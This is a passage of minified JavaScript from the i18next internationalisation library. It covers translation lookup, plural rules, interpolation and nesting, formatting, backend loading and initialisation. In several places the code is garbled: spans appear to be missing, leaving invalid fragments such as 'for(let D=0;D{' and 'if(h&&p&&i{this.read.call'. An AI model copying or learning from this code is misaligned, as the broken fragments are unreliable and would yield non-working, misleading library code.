D=this.resolve(u,{...i,keySeparator:!1});D&&D.res&&this.logger.warn("Seems the loaded translations were in flat JSON format instead of nested. Either set keySeparator: false on init or make sure your translations are published in nested format.")}let $=[];const Z=this.languageUtils.getFallbackCodes(this.options.fallbackLng,i.lng||this.language);if(this.options.saveMissingTo==="fallback"&&Z&&Z[0])for(let D=0;D{const se=M&&ae!==S?ae:L;this.options.missingKeyHandler?this.options.missingKeyHandler(D,h,X,se,F,i):this.backendConnector?.saveMissing&&this.backendConnector.saveMissing(D,h,X,se,F,i),this.emit("missingKey",D,h,X,S)};this.options.saveMissing&&(this.options.saveMissingPlurals&&j?$.forEach(D=>{const X=this.pluralResolver.getSuffixes(D,i);I&&i[`defaultValue${this.options.pluralSeparator}zero`]&&X.indexOf(`${this.options.pluralSeparator}zero`)<0&&X.push(`${this.options.pluralSeparator}zero`),X.forEach(ae=>{de([D],u+ae,i[`defaultValue${ae}`]||B)})}):de($,u,B))}S=this.extendTranslation(S,t,i,x,r),le&&S===u&&this.options.appendNamespaceToMissingKey&&(S=`${h}${p}${u}`),(le||oe)&&this.options.parseMissingKeyHandler&&(S=this.options.parseMissingKeyHandler(this.options.appendNamespaceToMissingKey?`${h}${p}${u}`:u,oe?S:void 0,i))}return l?(x.res=S,x.usedParams=this.getUsedParamsDetails(i),x):S}extendTranslation(t,n,r,i,l){if(this.i18nFormat?.parse)t=this.i18nFormat.parse(t,{...this.options.interpolation.defaultVariables,...r},r.lng||this.language||i.usedLng,i.usedNS,i.usedKey,{resolved:i});else if(!r.skipInterpolation){r.interpolation&&this.interpolator.init({...r,interpolation:{...this.options.interpolation,...r.interpolation}});const f=Te(t)&&(r?.interpolation?.skipOnVariables!==void 0?r.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables);let h;if(f){const m=t.match(this.interpolator.nestingRegexp);h=m&&m.length}let p=r.replace&&!Te(r.replace)?r.replace:r;if(this.options.interpolation.defaultVariables&&(p={...this.options.interpolation.defaultVariables,...p}),t=this.interpolator.interpolate(t,p,r.lng||this.language||i.usedLng,r),f){const m=t.match(this.interpolator.nestingRegexp),y=m&&m.length;hl?.[0]===m[0]&&!r.context?(this.logger.warn(`It seems you are nesting recursively key: ${m[0]} in key: ${n[0]}`),null):this.translate(...m,n),r)),r.interpolation&&this.interpolator.reset()}const c=r.postProcess||this.options.postProcess,u=Te(c)?[c]:c;return t!=null&&u?.length&&r.applyPostProcessor!==!1&&(t=uM.handle(u,t,n,this.options&&this.options.postProcessPassResolved?{i18nResolved:{...i,usedParams:this.getUsedParamsDetails(r)},...r}:r,this)),t}resolve(t,n={}){let r,i,l,c,u;return Te(t)&&(t=[t]),t.forEach(f=>{if(this.isValidLookup(r))return;const h=this.extractFromKey(f,n),p=h.key;i=p;let m=h.namespaces;this.options.fallbackNS&&(m=m.concat(this.options.fallbackNS));const y=n.count!==void 0&&!Te(n.count),x=y&&!n.ordinal&&n.count===0,S=n.context!==void 0&&(Te(n.context)||typeof n.context=="number")&&n.context!=="",w=n.lngs?n.lngs:this.languageUtils.toResolveHierarchy(n.lng||this.language,n.fallbackLng);m.forEach(O=>{this.isValidLookup(r)||(u=O,!EA[`${w[0]}-${O}`]&&this.utils?.hasLoadedNamespace&&!this.utils?.hasLoadedNamespace(u)&&(EA[`${w[0]}-${O}`]=!0,this.logger.warn(`key "${i}" for languages "${w.join(", ")}" won't get resolved as namespace "${u}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!")),w.forEach(A=>{if(this.isValidLookup(r))return;c=A;const _=[p];if(this.i18nFormat?.addLookupKeys)this.i18nFormat.addLookupKeys(_,p,A,O,n);else{let j;y&&(j=this.pluralResolver.getSuffix(A,n.count,n));const M=`${this.options.pluralSeparator}zero`,P=`${this.options.pluralSeparator}ordinal${this.options.pluralSeparator}`;if(y&&(n.ordinal&&j.indexOf(P)===0&&_.push(p+j.replace(P,this.options.pluralSeparator)),_.push(p+j),x&&_.push(p+M)),S){const R=`${p}${this.options.contextSeparator||"_"}${n.context}`;_.push(R),y&&(n.ordinal&&j.indexOf(P)===0&&_.push(R+j.replace(P,this.options.pluralSeparator)),_.push(R+j),x&&_.push(R+M))}}let T;for(;T=_.pop();)this.isValidLookup(r)||(l=T,r=this.getResource(A,O,T,n))}))})}),{res:r,usedKey:i,exactUsedKey:l,usedLng:c,usedNS:u}}isValidLookup(t){return t!==void 0&&!(!this.options.returnNull&&t===null)&&!(!this.options.returnEmptyString&&t==="")}getResource(t,n,r,i={}){return this.i18nFormat?.getResource?this.i18nFormat.getResource(t,n,r,i):this.resourceStore.getResource(t,n,r,i)}getUsedParamsDetails(t={}){const n=["defaultValue","ordinal","context","replace","lng","lngs","fallbackLng","ns","keySeparator","nsSeparator","returnObjects","returnDetails","joinArrays","postProcess","interpolation"],r=t.replace&&!Te(t.replace);let i=r?t.replace:t;if(r&&typeof t.count<"u"&&(i.count=t.count),this.options.interpolation.defaultVariables&&(i={...this.options.interpolation.defaultVariables,...i}),!r){i={...i};for(const l of n)delete i[l]}return i}static hasDefaultValue(t){const n="defaultValue";for(const r in t)if(Object.prototype.hasOwnProperty.call(t,r)&&n===r.substring(0,n.length)&&t[r]!==void 0)return!0;return!1}}class AA{constructor(t){this.options=t,this.supportedLngs=this.options.supportedLngs||!1,this.logger=kr.create("languageUtils")}getScriptPartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return null;const n=t.split("-");return n.length===2||(n.pop(),n[n.length-1].toLowerCase()==="x")?null:this.formatLanguageCode(n.join("-"))}getLanguagePartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return t;const n=t.split("-");return this.formatLanguageCode(n[0])}formatLanguageCode(t){if(Te(t)&&t.indexOf("-")>-1){let n;try{n=Intl.getCanonicalLocales(t)[0]}catch{}return n&&this.options.lowerCaseLng&&(n=n.toLowerCase()),n||(this.options.lowerCaseLng?t.toLowerCase():t)}return this.options.cleanCode||this.options.lowerCaseLng?t.toLowerCase():t}isSupportedCode(t){return(this.options.load==="languageOnly"||this.options.nonExplicitSupportedLngs)&&(t=this.getLanguagePartFromCode(t)),!this.supportedLngs||!this.supportedLngs.length||this.supportedLngs.indexOf(t)>-1}getBestMatchFromCodes(t){if(!t)return null;let n;return t.forEach(r=>{if(n)return;const i=this.formatLanguageCode(r);(!this.options.supportedLngs||this.isSupportedCode(i))&&(n=i)}),!n&&this.options.supportedLngs&&t.forEach(r=>{if(n)return;const i=this.getScriptPartFromCode(r);if(this.isSupportedCode(i))return n=i;const l=this.getLanguagePartFromCode(r);if(this.isSupportedCode(l))return n=l;n=this.options.supportedLngs.find(c=>{if(c===l)return c;if(!(c.indexOf("-")<0&&l.indexOf("-")<0)&&(c.indexOf("-")>0&&l.indexOf("-")<0&&c.substring(0,c.indexOf("-"))===l||c.indexOf(l)===0&&l.length>1))return c})}),n||(n=this.getFallbackCodes(this.options.fallbackLng)[0]),n}getFallbackCodes(t,n){if(!t)return[];if(typeof t=="function"&&(t=t(n)),Te(t)&&(t=[t]),Array.isArray(t))return t;if(!n)return t.default||[];let r=t[n];return r||(r=t[this.getScriptPartFromCode(n)]),r||(r=t[this.formatLanguageCode(n)]),r||(r=t[this.getLanguagePartFromCode(n)]),r||(r=t.default),r||[]}toResolveHierarchy(t,n){const r=this.getFallbackCodes((n===!1?[]:n)||this.options.fallbackLng||[],t),i=[],l=c=>{c&&(this.isSupportedCode(c)?i.push(c):this.logger.warn(`rejecting language code not found in supportedLngs: ${c}`))};return Te(t)&&(t.indexOf("-")>-1||t.indexOf("_")>-1)?(this.options.load!=="languageOnly"&&l(this.formatLanguageCode(t)),this.options.load!=="languageOnly"&&this.options.load!=="currentOnly"&&l(this.getScriptPartFromCode(t)),this.options.load!=="currentOnly"&&l(this.getLanguagePartFromCode(t))):Te(t)&&l(this.formatLanguageCode(t)),r.forEach(c=>{i.indexOf(c)<0&&l(this.formatLanguageCode(c))}),i}}const CA={zero:0,one:1,two:2,few:3,many:4,other:5},_A={select:e=>e===1?"one":"other",resolvedOptions:()=>({pluralCategories:["one","other"]})};class G${constructor(t,n={}){this.languageUtils=t,this.options=n,this.logger=kr.create("pluralResolver"),this.pluralRulesCache={}}addRule(t,n){this.rules[t]=n}clearCache(){this.pluralRulesCache={}}getRule(t,n={}){const r=xc(t==="dev"?"en":t),i=n.ordinal?"ordinal":"cardinal",l=JSON.stringify({cleanedCode:r,type:i});if(l in this.pluralRulesCache)return this.pluralRulesCache[l];let c;try{c=new Intl.PluralRules(r,{type:i})}catch{if(!Intl)return this.logger.error("No Intl support, please use an Intl polyfill!"),_A;if(!t.match(/-|_/))return _A;const f=this.languageUtils.getLanguagePartFromCode(t);c=this.getRule(f,n)}return this.pluralRulesCache[l]=c,c}needsPlural(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?.resolvedOptions().pluralCategories.length>1}getPluralFormsOfKey(t,n,r={}){return this.getSuffixes(t,r).map(i=>`${n}${i}`)}getSuffixes(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?r.resolvedOptions().pluralCategories.sort((i,l)=>CA[i]-CA[l]).map(i=>`${this.options.prepend}${n.ordinal?`ordinal${this.options.prepend}`:""}${i}`):[]}getSuffix(t,n,r={}){const i=this.getRule(t,r);return i?`${this.options.prepend}${r.ordinal?`ordinal${this.options.prepend}`:""}${i.select(n)}`:(this.logger.warn(`no plural rule found for: ${t}`),this.getSuffix("dev",n,r))}}const TA=(e,t,n,r=".",i=!0)=>{let l=$$(e,t,n);return!l&&i&&Te(n)&&(l=a0(e,n,r),l===void 0&&(l=a0(t,n,r))),l},hg=e=>e.replace(/\$/g,"$$$$");class NA{constructor(t={}){this.logger=kr.create("interpolator"),this.options=t,this.format=t?.interpolation?.format||(n=>n),this.init(t)}init(t={}){t.interpolation||(t.interpolation={escapeValue:!0});const{escape:n,escapeValue:r,useRawValueToEscape:i,prefix:l,prefixEscaped:c,suffix:u,suffixEscaped:f,formatSeparator:h,unescapeSuffix:p,unescapePrefix:m,nestingPrefix:y,nestingPrefixEscaped:x,nestingSuffix:S,nestingSuffixEscaped:w,nestingOptionsSeparator:O,maxReplaces:A,alwaysFormat:_}=t.interpolation;this.escape=n!==void 0?n:U$,this.escapeValue=r!==void 0?r:!0,this.useRawValueToEscape=i!==void 0?i:!1,this.prefix=l?pl(l):c||"{{",this.suffix=u?pl(u):f||"}}",this.formatSeparator=h||",",this.unescapePrefix=p?"":m||"-",this.unescapeSuffix=this.unescapePrefix?"":p||"",this.nestingPrefix=y?pl(y):x||pl("$t("),this.nestingSuffix=S?pl(S):w||pl(")"),this.nestingOptionsSeparator=O||",",this.maxReplaces=A||1e3,this.alwaysFormat=_!==void 0?_:!1,this.resetRegExp()}reset(){this.options&&this.init(this.options)}resetRegExp(){const t=(n,r)=>n?.source===r?(n.lastIndex=0,n):new RegExp(r,"g");this.regexp=t(this.regexp,`${this.prefix}(.+?)${this.suffix}`),this.regexpUnescape=t(this.regexpUnescape,`${this.prefix}${this.unescapePrefix}(.+?)${this.unescapeSuffix}${this.suffix}`),this.nestingRegexp=t(this.nestingRegexp,`${this.nestingPrefix}((?:[^()"']+|"[^"]*"|'[^']*'|\\((?:[^()]|"[^"]*"|'[^']*')*\\))*?)${this.nestingSuffix}`)}interpolate(t,n,r,i){let l,c,u;const f=this.options&&this.options.interpolation&&this.options.interpolation.defaultVariables||{},h=x=>{if(x.indexOf(this.formatSeparator)<0){const A=TA(n,f,x,this.options.keySeparator,this.options.ignoreJSONStructure);return this.alwaysFormat?this.format(A,void 0,r,{...i,...n,interpolationkey:x}):A}const S=x.split(this.formatSeparator),w=S.shift().trim(),O=S.join(this.formatSeparator).trim();return this.format(TA(n,f,w,this.options.keySeparator,this.options.ignoreJSONStructure),O,r,{...i,...n,interpolationkey:w})};this.resetRegExp();const p=i?.missingInterpolationHandler||this.options.missingInterpolationHandler,m=i?.interpolation?.skipOnVariables!==void 0?i.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables;return[{regex:this.regexpUnescape,safeValue:x=>hg(x)},{regex:this.regexp,safeValue:x=>this.escapeValue?hg(this.escape(x)):hg(x)}].forEach(x=>{for(u=0;l=x.regex.exec(t);){const S=l[1].trim();if(c=h(S),c===void 0)if(typeof p=="function"){const O=p(t,l,i);c=Te(O)?O:""}else if(i&&Object.prototype.hasOwnProperty.call(i,S))c="";else if(m){c=l[0];continue}else this.logger.warn(`missed to pass in variable ${S} for interpolating ${t}`),c="";else!Te(c)&&!this.useRawValueToEscape&&(c=bA(c));const w=x.safeValue(c);if(t=t.replace(l[0],w),m?(x.regex.lastIndex+=c.length,x.regex.lastIndex-=l[0].length):x.regex.lastIndex=0,u++,u>=this.maxReplaces)break}}),t}nest(t,n,r={}){let i,l,c;const u=(f,h)=>{const p=this.nestingOptionsSeparator;if(f.indexOf(p)<0)return f;const m=f.split(new RegExp(`${p}[ ]*{`));let y=`{${m[1]}`;f=m[0],y=this.interpolate(y,c);const x=y.match(/'/g),S=y.match(/"/g);((x?.length??0)%2===0&&!S||S.length%2!==0)&&(y=y.replace(/'/g,'"'));try{c=JSON.parse(y),h&&(c={...h,...c})}catch(w){return this.logger.warn(`failed parsing options string in nesting for key ${f}`,w),`${f}${p}${y}`}return c.defaultValue&&c.defaultValue.indexOf(this.prefix)>-1&&delete c.defaultValue,f};for(;i=this.nestingRegexp.exec(t);){let f=[];c={...r},c=c.replace&&!Te(c.replace)?c.replace:c,c.applyPostProcessor=!1,delete c.defaultValue;const h=/{.*}/.test(i[1])?i[1].lastIndexOf("}")+1:i[1].indexOf(this.formatSeparator);if(h!==-1&&(f=i[1].slice(h).split(this.formatSeparator).map(p=>p.trim()).filter(Boolean),i[1]=i[1].slice(0,h)),l=n(u.call(this,i[1].trim(),c),c),l&&i[0]===t&&!Te(l))return l;Te(l)||(l=bA(l)),l||(this.logger.warn(`missed to resolve ${i[1]} for nesting ${t}`),l=""),f.length&&(l=f.reduce((p,m)=>this.format(p,m,r.lng,{...r,interpolationkey:i[1].trim()}),l.trim())),t=t.replace(i[0],l),this.regexp.lastIndex=0}return t}}const W$=e=>{let t=e.toLowerCase().trim();const n={};if(e.indexOf("(")>-1){const r=e.split("(");t=r[0].toLowerCase().trim();const i=r[1].substring(0,r[1].length-1);t==="currency"&&i.indexOf(":")<0?n.currency||(n.currency=i.trim()):t==="relativetime"&&i.indexOf(":")<0?n.range||(n.range=i.trim()):i.split(";").forEach(c=>{if(c){const[u,...f]=c.split(":"),h=f.join(":").trim().replace(/^'+|'+$/g,""),p=u.trim();n[p]||(n[p]=h),h==="false"&&(n[p]=!1),h==="true"&&(n[p]=!0),isNaN(h)||(n[p]=parseInt(h,10))}})}return{formatName:t,formatOptions:n}},MA=e=>{const t={};return(n,r,i)=>{let l=i;i&&i.interpolationkey&&i.formatParams&&i.formatParams[i.interpolationkey]&&i[i.interpolationkey]&&(l={...l,[i.interpolationkey]:void 0});const c=r+JSON.stringify(l);let u=t[c];return u||(u=e(xc(r),i),t[c]=u),u(n)}},X$=e=>(t,n,r)=>e(xc(n),r)(t);class Z${constructor(t={}){this.logger=kr.create("formatter"),this.options=t,this.init(t)}init(t,n={interpolation:{}}){this.formatSeparator=n.interpolation.formatSeparator||",";const r=n.cacheInBuiltFormats?MA:X$;this.formats={number:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l});return u=>c.format(u)}),currency:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l,style:"currency"});return u=>c.format(u)}),datetime:r((i,l)=>{const c=new Intl.DateTimeFormat(i,{...l});return u=>c.format(u)}),relativetime:r((i,l)=>{const c=new Intl.RelativeTimeFormat(i,{...l});return u=>c.format(u,l.range||"day")}),list:r((i,l)=>{const c=new Intl.ListFormat(i,{...l});return u=>c.format(u)})}}add(t,n){this.formats[t.toLowerCase().trim()]=n}addCached(t,n){this.formats[t.toLowerCase().trim()]=MA(n)}format(t,n,r,i={}){const l=n.split(this.formatSeparator);if(l.length>1&&l[0].indexOf("(")>1&&l[0].indexOf(")")<0&&l.find(u=>u.indexOf(")")>-1)){const u=l.findIndex(f=>f.indexOf(")")>-1);l[0]=[l[0],...l.splice(1,u)].join(this.formatSeparator)}return l.reduce((u,f)=>{const{formatName:h,formatOptions:p}=W$(f);if(this.formats[h]){let m=u;try{const y=i?.formatParams?.[i.interpolationkey]||{},x=y.locale||y.lng||i.locale||i.lng||r;m=this.formats[h](u,x,{...p,...i,...y})}catch(y){this.logger.warn(y)}return m}else this.logger.warn(`there was no format function for ${h}`);return u},t)}}const Q$=(e,t)=>{e.pending[t]!==void 0&&(delete e.pending[t],e.pendingCount--)};class J$ extends Ah{constructor(t,n,r,i={}){super(),this.backend=t,this.store=n,this.services=r,this.languageUtils=r.languageUtils,this.options=i,this.logger=kr.create("backendConnector"),this.waitingReads=[],this.maxParallelReads=i.maxParallelReads||10,this.readingCalls=0,this.maxRetries=i.maxRetries>=0?i.maxRetries:5,this.retryTimeout=i.retryTimeout>=1?i.retryTimeout:350,this.state={},this.queue=[],this.backend?.init?.(r,i.backend,i)}queueLoad(t,n,r,i){const l={},c={},u={},f={};return t.forEach(h=>{let p=!0;n.forEach(m=>{const y=`${h}|${m}`;!r.reload&&this.store.hasResourceBundle(h,m)?this.state[y]=2:this.state[y]<0||(this.state[y]===1?c[y]===void 0&&(c[y]=!0):(this.state[y]=1,p=!1,c[y]===void 0&&(c[y]=!0),l[y]===void 0&&(l[y]=!0),f[m]===void 0&&(f[m]=!0)))}),p||(u[h]=!0)}),(Object.keys(l).length||Object.keys(c).length)&&this.queue.push({pending:c,pendingCount:Object.keys(c).length,loaded:{},errors:[],callback:i}),{toLoad:Object.keys(l),pending:Object.keys(c),toLoadLanguages:Object.keys(u),toLoadNamespaces:Object.keys(f)}}loaded(t,n,r){const i=t.split("|"),l=i[0],c=i[1];n&&this.emit("failedLoading",l,c,n),!n&&r&&this.store.addResourceBundle(l,c,r,void 0,void 0,{skipCopy:!0}),this.state[t]=n?-1:2,n&&r&&(this.state[t]=0);const u={};this.queue.forEach(f=>{z$(f.loaded,[l],c),Q$(f,t),n&&f.errors.push(n),f.pendingCount===0&&!f.done&&(Object.keys(f.loaded).forEach(h=>{u[h]||(u[h]={});const p=f.loaded[h];p.length&&p.forEach(m=>{u[h][m]===void 0&&(u[h][m]=!0)})}),f.done=!0,f.errors.length?f.callback(f.errors):f.callback())}),this.emit("loaded",u),this.queue=this.queue.filter(f=>!f.done)}read(t,n,r,i=0,l=this.retryTimeout,c){if(!t.length)return c(null,{});if(this.readingCalls>=this.maxParallelReads){this.waitingReads.push({lng:t,ns:n,fcName:r,tried:i,wait:l,callback:c});return}this.readingCalls++;const u=(h,p)=>{if(this.readingCalls--,this.waitingReads.length>0){const m=this.waitingReads.shift();this.read(m.lng,m.ns,m.fcName,m.tried,m.wait,m.callback)}if(h&&p&&i{this.read.call(this,t,n,r,i+1,l*2,c)},l);return}c(h,p)},f=this.backend[r].bind(this.backend);if(f.length===2){try{const h=f(t,n);h&&typeof h.then=="function"?h.then(p=>u(null,p)).catch(u):u(null,h)}catch(h){u(h)}return}return f(t,n,u)}prepareLoading(t,n,r={},i){if(!this.backend)return this.logger.warn("No backend was added via i18next.use. Will not load resources."),i&&i();Te(t)&&(t=this.languageUtils.toResolveHierarchy(t)),Te(n)&&(n=[n]);const l=this.queueLoad(t,n,r,i);if(!l.toLoad.length)return l.pending.length||i(),null;l.toLoad.forEach(c=>{this.loadOne(c)})}load(t,n,r){this.prepareLoading(t,n,{},r)}reload(t,n,r){this.prepareLoading(t,n,{reload:!0},r)}loadOne(t,n=""){const r=t.split("|"),i=r[0],l=r[1];this.read(i,l,"read",void 0,void 0,(c,u)=>{c&&this.logger.warn(`${n}loading namespace ${l} for language ${i} failed`,c),!c&&u&&this.logger.log(`${n}loaded namespace ${l} for language ${i}`,u),this.loaded(t,c,u)})}saveMissing(t,n,r,i,l,c={},u=()=>{}){if(this.services?.utils?.hasLoadedNamespace&&!this.services?.utils?.hasLoadedNamespace(n)){this.logger.warn(`did not save key "${r}" as the namespace "${n}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!");return}if(!(r==null||r==="")){if(this.backend?.create){const f={...c,isUpdate:l},h=this.backend.create.bind(this.backend);if(h.length<6)try{let p;h.length===5?p=h(t,n,r,i,f):p=h(t,n,r,i),p&&typeof p.then=="function"?p.then(m=>u(null,m)).catch(u):u(null,p)}catch(p){u(p)}else h(t,n,r,i,u,f)}!t||!t[0]||this.store.addResource(t[0],n,r,i)}}}const jA=()=>({debug:!1,initAsync:!0,ns:["translation"],defaultNS:["translation"],fallbackLng:["dev"],fallbackNS:!1,supportedLngs:!1,nonExplicitSupportedLngs:!1,load:"all",preload:!1,simplifyPluralSuffix:!0,keySeparator:".",nsSeparator:":",pluralSeparator:"_",contextSeparator:"_",partialBundledLanguages:!1,saveMissing:!1,updateMissing:!1,saveMissingTo:"fallback",saveMissingPlurals:!0,missingKeyHandler:!1,missingInterpolationHandler:!1,postProcess:!1,postProcessPassResolved:!1,returnNull:!1,returnEmptyString:!0,returnObjects:!1,joinArrays:!1,returnedObjectHandler:!1,parseMissingKeyHandler:!1,appendNamespaceToMissingKey:!1,appendNamespaceToCIMode:!1,overloadTranslationOptionHandler:e=>{let t={};if(typeof e[1]=="object"&&(t=e[1]),Te(e[1])&&(t.defaultValue=e[1]),Te(e[2])&&(t.tDescription=e[2]),typeof e[2]=="object"||typeof e[3]=="object"){const n=e[3]||e[2];Object.keys(n).forEach(r=>{t[r]=n[r]})}return t},interpolation:{escapeValue:!0,format:e=>e,prefix:"{{",suffix:"}}",formatSeparator:",",unescapePrefix:"-",nestingPrefix:"$t(",nestingSuffix:")",nestingOptionsSeparator:",",maxReplaces:1e3,skipOnVariables:!0},cacheInBuiltFormats:!0}),PA=e=>(Te(e.ns)&&(e.ns=[e.ns]),Te(e.fallbackLng)&&(e.fallbackLng=[e.fallbackLng]),Te(e.fallbackNS)&&(e.fallbackNS=[e.fallbackNS]),e.supportedLngs?.indexOf?.("cimode")<0&&(e.supportedLngs=e.supportedLngs.concat(["cimode"])),typeof e.initImmediate=="boolean"&&(e.initAsync=e.initImmediate),e),Lf=()=>{},e6=e=>{Object.getOwnPropertyNames(Object.getPrototypeOf(e)).forEach(n=>{typeof e[n]=="function"&&(e[n]=e[n].bind(e))})};class yc extends Ah{constructor(t={},n){if(super(),this.options=PA(t),this.services={},this.logger=kr,this.modules={external:[]},e6(this),n&&!this.isInitialized&&!t.isClone){if(!this.options.initAsync)return this.init(t,n),this;setTimeout(()=>{this.init(t,n)},0)}}init(t={},n){this.isInitializing=!0,typeof t=="function"&&(n=t,t={}),t.defaultNS==null&&t.ns&&(Te(t.ns)?t.defaultNS=t.ns:t.ns.indexOf("translation")<0&&(t.defaultNS=t.ns[0]));const r=jA();this.options={...r,...this.options,...PA(t)},this.options.interpolation={...r.interpolation,...this.options.interpolation},t.keySeparator!==void 0&&(this.options.userDefinedKeySeparator=t.keySeparator),t.nsSeparator!==void 0&&(this.options.userDefinedNsSeparator=t.nsSeparator),typeof this.options.overloadTranslationOptionHandler!="function"&&(this.options.overloadTranslationOptionHandler=r.overloadTranslationOptionHandler);const i=h=>h?typeof h=="function"?new h:h:null;if(!this.options.isClone){this.modules.logger?kr.init(i(this.modules.logger),this.options):kr.init(null,this.options);let h;this.modules.formatter?h=this.modules.formatter:h=Z$;const p=new AA(this.options);this.store=new OA(this.options.resources,this.options);const m=this.services;m.logger=kr,m.resourceStore=this.store,m.languageUtils=p,m.pluralResolver=new G$(p,{prepend:this.options.pluralSeparator,simplifyPluralSuffix:this.options.simplifyPluralSuffix}),this.options.interpolation.format&&this.options.interpolation.format!==r.interpolation.format&&this.logger.deprecate("init: you are still using the legacy format function, please use the new approach: https://www.i18next.com/translation-function/formatting"),h&&(!this.options.interpolation.format||this.options.interpolation.format===r.interpolation.format)&&(m.formatter=i(h),m.formatter.init&&m.formatter.init(m,this.options),this.options.interpolation.format=m.formatter.format.bind(m.formatter)),m.interpolator=new NA(this.options),m.utils={hasLoadedNamespace:this.hasLoadedNamespace.bind(this)},m.backendConnector=new J$(i(this.modules.backend),m.resourceStore,m,this.options),m.backendConnector.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.languageDetector&&(m.languageDetector=i(this.modules.languageDetector),m.languageDetector.init&&m.languageDetector.init(m,this.options.detection,this.options)),this.modules.i18nFormat&&(m.i18nFormat=i(this.modules.i18nFormat),m.i18nFormat.init&&m.i18nFormat.init(this)),this.translator=new bd(this.services,this.options),this.translator.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.external.forEach(x=>{x.init&&x.init(this)})}if(this.format=this.options.interpolation.format,n||(n=Lf),this.options.fallbackLng&&!this.services.languageDetector&&!this.options.lng){const h=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);h.length>0&&h[0]!=="dev"&&(this.options.lng=h[0])}!this.services.languageDetector&&!this.options.lng&&this.logger.warn("init: no languageDetector is used and no lng is defined"),["getResource","hasResourceBundle","getResourceBundle","getDataByLanguage"].forEach(h=>{this[h]=(...p)=>this.store[h](...p)}),["addResource","addResources","addResourceBundle","removeResourceBundle"].forEach(h=>{this[h]=(...p)=>(this.store[h](...p),this)});const u=nc(),f=()=>{const h=(p,m)=>{this.isInitializing=!1,this.isInitialized&&!this.initializedStoreOnce&&this.logger.warn("init: i18next is already initialized. You should call init just once!"),this.isInitialized=!0,this.options.isClone||this.logger.log("initialized",this.options),this.emit("initialized",this.options),u.resolve(m),n(p,m)};if(this.languages&&!this.isInitialized)return h(null,this.t.bind(this));this.changeLanguage(this.options.lng,h)};return this.options.resources||!this.options.initAsync?f():setTimeout(f,0),u}loadResources(t,n=Lf){let r=n;const i=Te(t)?t:this.language;if(typeof t=="function"&&(r=t),!this.options.resources||this.options.partialBundledLanguages){if(i?.toLowerCase()==="cimode"&&(!this.options.preload||this.options.preload.length===0))return r();const l=[],c=u=>{if(!u||u==="cimode")return;this.services.languageUtils.toResolveHierarchy(u).forEach(h=>{h!=="cimode"&&l.indexOf(h)<0&&l.push(h)})};i?c(i):this.services.languageUtils.getFallbackCodes(this.options.fallbackLng).forEach(f=>c(f)),this.options.preload?.forEach?.(u=>c(u)),this.services.backendConnector.load(l,this.options.ns,u=>{!u&&!this.resolvedLanguage&&this.language&&this.setResolvedLanguage(this.language),r(u)})}else r(null)}reloadResources(t,n,r){const i=nc();return typeof t=="function"&&(r=t,t=void 0),typeof n=="function"&&(r=n,n=void 0),t||(t=this.languages),n||(n=this.options.ns),r||(r=Lf),this.services.backendConnector.reload(t,n,l=>{i.resolve(),r(l)}),i}use(t){if(!t)throw new Error("You are passing an undefined module! Please check the object you are passing to i18next.use()");if(!t.type)throw new Error("You are passing a wrong module! Please check the object you are passing to i18next.use()");return t.type==="backend"&&(this.modules.backend=t),(t.type==="logger"||t.log&&t.warn&&t.error)&&(this.modules.logger=t),t.type==="languageDetector"&&(this.modules.languageDetector=t),t.type==="i18nFormat"&&(this.modules.i18nFormat=t),t.type==="postProcessor"&&uM.addPostProcessor(t),t.type==="formatter"&&(this.modules.formatter=t),t.type==="3rdParty"&&this.modules.external.push(t),this}setResolvedLanguage(t){if(!(!t||!this.languages)&&!(["cimode","dev"].indexOf(t)>-1)){for(let n=0;n-1)&&this.store.hasLanguageSomeTranslations(r)){this.resolvedLanguage=r;break}}!this.resolvedLanguage&&this.languages.indexOf(t)<0&&this.store.hasLanguageSomeTranslations(t)&&(this.resolvedLanguage=t,this.languages.unshift(t))}}changeLanguage(t,n){this.isLanguageChangingTo=t;const r=nc();this.emit("languageChanging",t);const i=u=>{this.language=u,this.languages=this.services.languageUtils.toResolveHierarchy(u),this.resolvedLanguage=void 0,this.setResolvedLanguage(u)},l=(u,f)=>{f?this.isLanguageChangingTo===t&&(i(f),this.translator.changeLanguage(f),this.isLanguageChangingTo=void 0,this.emit("languageChanged",f),this.logger.log("languageChanged",f)):this.isLanguageChangingTo=void 0,r.resolve((...h)=>this.t(...h)),n&&n(u,(...h)=>this.t(...h))},c=u=>{!t&&!u&&this.services.languageDetector&&(u=[]);const f=Te(u)?u:u&&u[0],h=this.store.hasLanguageSomeTranslations(f)?f:this.services.languageUtils.getBestMatchFromCodes(Te(u)?[u]:u);h&&(this.language||i(h),this.translator.language||this.translator.changeLanguage(h),this.services.languageDetector?.cacheUserLanguage?.(h)),this.loadResources(h,p=>{l(p,h)})};return!t&&this.services.languageDetector&&!this.services.languageDetector.async?c(this.services.languageDetector.detect()):!t&&this.services.languageDetector&&this.services.languageDetector.async?this.services.languageDetector.detect.length===0?this.services.languageDetector.detect().then(c):this.services.languageDetector.detect(c):c(t),r}getFixedT(t,n,r){const i=(l,c,...u)=>{let f;typeof c!="object"?f=this.options.overloadTranslationOptionHandler([l,c].concat(u)):f={...c},f.lng=f.lng||i.lng,f.lngs=f.lngs||i.lngs,f.ns=f.ns||i.ns,f.keyPrefix!==""&&(f.keyPrefix=f.keyPrefix||r||i.keyPrefix);const h=this.options.keySeparator||".";let p;return f.keyPrefix&&Array.isArray(l)?p=l.map(m=>(typeof m=="function"&&(m=i0(m,{...this.options,...c})),`${f.keyPrefix}${h}${m}`)):(typeof l=="function"&&(l=i0(l,{...this.options,...c})),p=f.keyPrefix?`${f.keyPrefix}${h}${l}`:l),this.t(p,f)};return Te(t)?i.lng=t:i.lngs=t,i.ns=n,i.keyPrefix=r,i}t(...t){return this.translator?.translate(...t)}exists(...t){return 